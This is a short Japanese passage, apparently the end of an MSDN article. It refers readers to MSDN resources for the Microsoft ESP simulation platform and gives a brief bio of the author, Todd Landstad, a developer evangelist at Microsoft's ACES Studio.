ESP シミュレーション プラットフォームの詳細については、MSDN® デベロッパー センターの「Microsoft ESP」(msdn.microsoft.com/esp) を参照してください。ここでは、ドキュメント、ホワイト ペーパー、チュートリアル、コード サンプル、ビデオ、Web キャストが提供されています。また、モデリングとシミュレーションのコミュニティにおける熱心な活動も紹介しています。
Todd Landstad は、Microsoft の ACES Studio に所属するデベロッパー エバンジェリストです。1995 年の Microsoft 入社以降、さまざまなソフトウェア プラットフォームおよびハードウェア プラットフォームに関する業務に取り組んできました。